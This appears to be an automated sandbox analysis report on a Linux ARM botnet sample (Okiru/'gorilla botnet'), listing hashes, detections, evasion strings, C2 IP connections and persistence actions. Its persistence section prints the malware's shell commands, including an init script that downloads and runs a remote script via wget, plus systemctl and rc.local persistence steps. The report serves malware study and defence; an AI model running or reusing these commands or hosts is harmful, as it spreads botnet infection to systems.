Linux Analysis Report
arm5.nn.elf

Overview

General Information

Sample name: arm5.nn.elf
Analysis ID: 1522869
MD5: faa68056d92163e355e6bea0b612d821
SHA1: 4f139d1f4ace84a4d9935f26b1870a3f53a23653
SHA256: 826f9c8153c14a66ba730291e5f78d71d958c08cde45e2119afa227211ee5132
Tags: elfpen-gorillafirewall-suuser-JAMESWT_MHT
Infos:

Detection

Okiru
Score: 84
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

AV Detection

barindex
Source: arm5.nn.elf Avira: detected
Source: arm5.nn.elf ReversingLabs: Detection: 52%
Source: arm5.nn.elf String: Found And Killed Process: PID=%d, Realpath=%s7815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)/fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt487154914:1553<41<515791446<614561;814994;8153;148;14<5which gdb > /dev/null 2>&1Debugger (gdb) detected. Exiting. gorilla botnet didnt like this honeypot....which lldb > /dev/null 2>&1Debugger (lldb) detected. Exiting. gorilla botnet didnt like this honeypot....which dtrace > /dev/null 2>&1Debugger (dtrace) detected. Exiting. gorilla botnet didnt like this honeypot....which truss > /dev/null 2>&1Debugger (truss) detected. Exiting. gorilla botnet didnt like this honeypot....which ptrace > /dev/null 2>&1Debugger (ptrace) detected. Exiting. gorilla botnet didnt like this honeypot....LD_PRELOADSandbox detected (LD_PRELOAD). Exiting. gorilla botnet didnt like this honeypot....LD_LIBRARY_PATHSandbox detected (LD_LIBRARY_PATH). Exiting. gorilla botnet didnt like this honeypot....LD_AUDITSandbox detected (LD_AUDIT). Exiting. gorilla botnet didnt like this honeypot..../proc/proc filesystem not found. Exiting. gorilla botnet didnt like this honeypot..../etc/motdw%s

Networking

barindex
Source: global traffic TCP traffic: 91.92.246.113 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 93.123.85.166 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 154.216.17.220 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 192.168.2.13:58102 -> 45.202.35.64:199
Source: global traffic TCP traffic: 192.168.2.13:56568 -> 154.216.17.220:38241
Source: global traffic TCP traffic: 192.168.2.13:58908 -> 91.92.246.113:38241
Source: global traffic TCP traffic: 192.168.2.13:53506 -> 93.123.85.166:38241
Source: /tmp/arm5.nn.elf (PID: 5448) Socket: 0.0.0.0:38241 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: profile.12.dr, inittab.12.dr, arm5.nn.elf.32.dr, bootcmd.12.dr, mybinary.12.dr, custom.service.12.dr String found in binary or memory: http://pen.gorillafirewall.su/
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: Found And Killed Process: PID=%d, Realpath=%s7815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)/fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt487154914:1553<41<515791446<6145
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/arm5.nn.elf (PID: 5450) SIGKILL sent: pid: 792, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5450) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5450) SIGKILL sent: pid: 1944, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5450) SIGKILL sent: pid: 3181, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5450) SIGKILL sent: pid: 3185, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5450) SIGKILL sent: pid: 5455, result: successful Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5450) SIGKILL sent: pid: 5501, result: successful Jump to behavior
Source: classification engine Classification label: mal84.spre.troj.evad.linELF@0/11@2/0

Persistence and Installation Behavior

barindex
Source: /tmp/arm5.nn.elf (PID: 5448) File: /etc/profile Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5448) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5473) File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary Jump to behavior
Source: /usr/bin/ln (PID: 5496) File: /etc/rc.d/S99arm5.nn.elf -> /etc/init.d/arm5.nn.elf Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5448) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5467) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5484) File: /etc/init.d/arm5.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5452) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5461) Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5468) Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5474) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm5.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm5.nn.elf'\n /tmp/arm5.nn.elf &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm5.nn.elf'\n killall arm5.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm5.nn.elf" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5479) Shell command executed: sh -c "chmod +x /etc/init.d/arm5.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5485) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5491) Shell command executed: sh -c "ln -s /etc/init.d/arm5.nn.elf /etc/rc.d/S99arm5.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /bin/sh (PID: 5467) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary Jump to behavior
Source: /bin/sh (PID: 5484) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm5.nn.elf Jump to behavior
Source: /bin/sh (PID: 5490) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Source: /bin/sh (PID: 5454) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5448) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5467) File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5484) File: /etc/init.d/arm5.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /tmp/arm5.nn.elf (PID: 5448) Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary Jump to dropped file
Source: /tmp/arm5.nn.elf (PID: 5448) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5474) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm5.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/arm5.nn.elf (PID: 5448) File: /etc/init.d/mybinary Jump to dropped file
Source: /bin/sh (PID: 5474) File: /etc/init.d/arm5.nn.elf Jump to dropped file
Source: /tmp/arm5.nn.elf (PID: 5448) Queries kernel information via 'uname': Jump to behavior
Source: arm5.nn.elf, 5448.1.00007ffd48a83000.00007ffd48aa4000.rw-.sdmp Binary or memory string: /tmp/qemu-open.XYqTN7
Source: arm5.nn.elf, 5448.1.00007ffd48a83000.00007ffd48aa4000.rw-.sdmp Binary or memory string: V/tmp/qemu-open.XYqTN7
Source: arm5.nn.elf, 5448.1.00007ffd48a83000.00007ffd48aa4000.rw-.sdmp Binary or memory string: Vqemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm5.nn.elf, 5448.1.00007ffd48a83000.00007ffd48aa4000.rw-.sdmp Binary or memory string: tx86_64/usr/bin/qemu-arm/tmp/arm5.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.nn.elf
Source: arm5.nn.elf, 5448.1.00005616f00e7000.00005616f0235000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.nn.elf, 5448.1.00005616f00e7000.00005616f0235000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/arm
Source: arm5.nn.elf, 5448.1.00007ffd48a83000.00007ffd48aa4000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm5.nn.elf, 5448.1.00007ffd48a83000.00007ffd48aa4000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

barindex
Source: Yara match File source: arm5.nn.elf, type: SAMPLE
Source: Yara match File source: 5448.1.00007f337c017000.00007f337c02b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm5.nn.elf PID: 5448, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: arm5.nn.elf, type: SAMPLE
Source: Yara match File source: 5448.1.00007f337c017000.00007f337c02b000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm5.nn.elf PID: 5448, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs